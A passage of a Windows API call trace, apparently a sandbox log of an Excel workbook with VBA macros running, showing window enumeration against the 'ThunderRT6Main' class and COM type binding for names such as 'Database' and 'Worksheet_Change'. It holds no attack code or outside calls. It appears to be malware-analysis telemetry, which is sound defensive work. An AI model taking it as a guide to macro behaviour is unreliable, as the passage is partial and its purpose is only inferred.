lpdwProcessId=0x0) returned 0x56c [0086.620] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0086.620] GetClassNameA (in: hWnd=0x10174, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.620] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.620] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x56c [0086.620] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0086.620] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="saferwin") returned 8 [0086.620] lstrcmpA (lpString1="saferwin", lpString2="ThunderRT6Main") returned -1 [0086.620] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x58c [0086.620] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0086.620] GetClassNameA (in: hWnd=0x10170, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.621] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.621] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x58c [0086.621] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0086.621] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="fancyInitiallywindow") returned 20 [0086.621] lstrcmpA (lpString1="fancyInitiallywindow", lpString2="ThunderRT6Main") returned -1 [0086.621] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620 [0086.621] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0086.621] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.621] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.621] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620 [0086.621] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0086.621] GetClassNameA (in: hWnd=0x10166, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="remove_Thu_Annotation_wnd") returned 25 [0086.621] lstrcmpA (lpString1="remove_Thu_Annotation_wnd", lpString2="ThunderRT6Main") returned -1 [0086.621] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0 [0086.621] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0086.621] GetClassNameA (in: hWnd=0x10168, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.621] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.621] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0 [0086.621] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0086.621] GetClassNameA (in: hWnd=0x10162, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="pinelaboratoriesreferencedwin") returned 29 [0086.621] lstrcmpA (lpString1="pinelaboratoriesreferencedwin", lpString2="ThunderRT6Main") returned -1 [0086.621] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0086.621] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0086.621] GetClassNameA (in: hWnd=0x10164, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.621] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.621] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0086.621] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0086.621] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Matches_wnd") returned 11 [0086.621] lstrcmpA (lpString1="Matches_wnd", lpString2="ThunderRT6Main") returned -1 [0086.621] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x744 [0086.622] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0086.622] GetClassNameA (in: hWnd=0x10160, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.622] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.622] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x744 [0086.622] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0086.622] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Fresh_cn_Eggs_wnd") returned 17 [0086.622] lstrcmpA (lpString1="Fresh_cn_Eggs_wnd", lpString2="ThunderRT6Main") returned -1 [0086.622] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0086.622] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0086.622] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.622] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.622] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0086.622] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x10156 [0086.622] GetClassNameA (in: hWnd=0x10156, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="what_Volkswagen_app") returned 19 [0086.622] lstrcmpA (lpString1="what_Volkswagen_app", lpString2="ThunderRT6Main") returned 1 [0086.622] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x760 [0086.622] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x10158 [0086.622] GetClassNameA (in: hWnd=0x10158, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.622] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.622] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x760 [0086.622] GetWindow (hWnd=0x10158, uCmd=0x2) returned 0x3010a [0086.622] GetClassNameA (in: hWnd=0x3010a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="commit_Newman_Rings_win") returned 23 [0086.622] lstrcmpA (lpString1="commit_Newman_Rings_win", lpString2="ThunderRT6Main") returned -1 [0086.622] GetWindowThreadProcessId (in: hWnd=0x3010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x348 [0086.622] GetWindow (hWnd=0x3010a, uCmd=0x2) returned 0x90154 [0086.622] GetClassNameA (in: hWnd=0x90154, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.622] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.622] GetWindowThreadProcessId (in: hWnd=0x90154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x348 [0086.622] GetWindow (hWnd=0x90154, uCmd=0x2) returned 0x20116 [0086.622] GetClassNameA (in: hWnd=0x20116, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0086.623] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0086.623] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0086.623] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a [0086.623] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0086.623] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0086.623] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0086.623] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148 [0086.623] GetClassNameA (in: hWnd=0x10148, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0086.623] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0086.623] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0086.623] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e [0086.623] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0086.623] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0086.623] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0086.623] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132 [0086.623] GetClassNameA (in: hWnd=0x10132, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0086.623] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0086.623] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0086.623] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134 [0086.623] GetClassNameA (in: hWnd=0x10134, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.623] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.623] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0086.623] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a [0086.623] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20 [0086.623] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1 [0086.623] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0086.623] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c [0086.623] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.623] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.623] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0086.624] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120 [0086.624] GetClassNameA (in: hWnd=0x10120, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0086.624] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0086.624] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0086.624] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122 [0086.624] GetClassNameA (in: hWnd=0x10122, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.624] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.624] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0086.624] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e [0086.624] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0086.624] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0086.624] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0086.624] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0 [0086.624] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0086.624] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0086.624] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.624] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae [0086.624] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0086.624] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0086.624] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.624] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0 [0086.624] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0086.624] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0086.624] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.624] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4 [0086.624] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0086.624] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0086.624] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.624] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc [0086.625] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0086.625] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0086.625] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.625] GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca [0086.625] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0086.625] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0086.625] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.625] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0 [0086.625] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0086.625] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0086.625] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.625] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018 [0086.625] GetClassNameA (in: hWnd=0x20018, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0086.625] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0086.625] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0086.625] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0086.625] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.625] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.625] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0086.625] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0086.625] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0086.625] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0086.625] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0086.625] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0086.625] GetClassNameA (in: hWnd=0x20016, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.625] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.625] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0086.625] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0086.625] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0086.625] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0086.626] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0086.626] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x20108 [0086.626] GetClassNameA (in: hWnd=0x20108, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.626] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.626] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0086.626] GetWindow (hWnd=0x20108, uCmd=0x2) returned 0x10106 [0086.626] GetClassNameA (in: hWnd=0x10106, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0086.626] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0086.626] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x588 [0086.626] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10102 [0086.626] GetClassNameA (in: hWnd=0x10102, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0086.626] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0086.626] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0086.626] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0086.626] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0086.626] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0086.627] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb687180 [0086.627] IMalloc:Free (This=0x7feffc15380, pv=0xb687180) [0086.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x261870, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0086.745] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xb6874e0 [0086.745] strncpy_s (in: _Dst=0xb6874e0, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0086.745] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0086.745] bsearch (_Key=0x260778, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0086.745] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0086.745] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0086.745] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1380) returned 0x0 [0086.746] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0086.746] IUnknown:Release (This=0xb1d1380) returned 0xb [0086.746] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb6874e0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0086.746] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0086.746] IUnknown:Release (This=0xb1d1380) returned 0xa [0086.746] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d0570) returned 0x0 [0086.746] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0086.746] IUnknown:Release (This=0xb1d0570) returned 0x12 [0086.746] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb6874e0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0086.746] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0086.746] IUnknown:Release (This=0xb1d0570) returned 0x11 [0086.747] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1920) returned 0x0 [0086.747] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0086.747] IUnknown:Release (This=0xb1d1920) returned 0x6 [0086.747] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb6874e0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0086.747] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0086.747] IUnknown:Release (This=0xb1d1920) returned 0x5 [0086.747] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0x6fed890) returned 0x0 [0086.747] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0086.747] IUnknown:Release (This=0x6fed890) returned 0x4 [0086.747] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb6874e0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0086.747] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0086.747] IUnknown:Release (This=0x6fed890) returned 0x3 [0086.747] IMalloc:Free (This=0x7feffc15380, pv=0xb6874e0) [0086.938] GetCapture () returned 0x0 [0086.938] GetCursorPos (in: lpPoint=0x28f430 | out: lpPoint=0x28f430*(x=430, y=397)) returned 1 [0086.939] WindowFromPoint (Point=0x18d000001ae) returned 0x202f6 [0086.939] GetWindowThreadProcessId (in: hWnd=0x202f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.939] SendMessageA (hWnd=0x202f6, Msg=0x84, wParam=0x0, lParam=0x18d01ae) returned 0x1 [0086.939] SendMessageA (hWnd=0x202f6, Msg=0x20, wParam=0x202f6, lParam=0x2000001) returned 0x0 [0088.393] GetAsyncKeyState (vKey=27) returned 0 [0088.393] GetCurrentThreadId () returned 0x92c [0088.393] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0088.393] GetDesktopWindow () returned 0x10010 [0088.393] RemovePropA (hWnd=0x202cc, lpString=0xc113) returned 0x1 [0088.393] EnableWindow (hWnd=0x202cc, bEnable=1) returned 1 [0088.393] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6edcf00 [0088.394] IMalloc:Free (This=0x7feffc15380, pv=0x6edcf00) [0088.480] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1545, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x380000026e | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x380000026e) returned 0x0 [0088.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Change", cchWideChar=7, lpMultiByteStr=0x28f020, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Change", lpUsedDefaultChar=0x0) returned 7 [0088.480] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x11, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0088.480] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x7, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0088.480] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Change") returned 0x10539f [0088.481] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1543, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0088.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28f020, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0088.481] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x1a, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0088.481] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x10, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0088.481] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0088.482] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1537, refPtrFlags=0x28e370, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0088.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28e3c0, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0088.482] _mbscpy_s (in: _Dst=0x28e210, _DstSizeInBytes=0x1c, _Src=0x6762d5a | out: _Dst=0x28e210) returned 0x0 [0088.482] _mbscpy_s (in: _Dst=0x28e21a, _DstSizeInBytes=0x12, _Src=0x28e3c0 | out: _Dst=0x28e21a) returned 0x0 [0088.482] LHashValOfNameSysA (syskind=0x3, lcid=0x409, 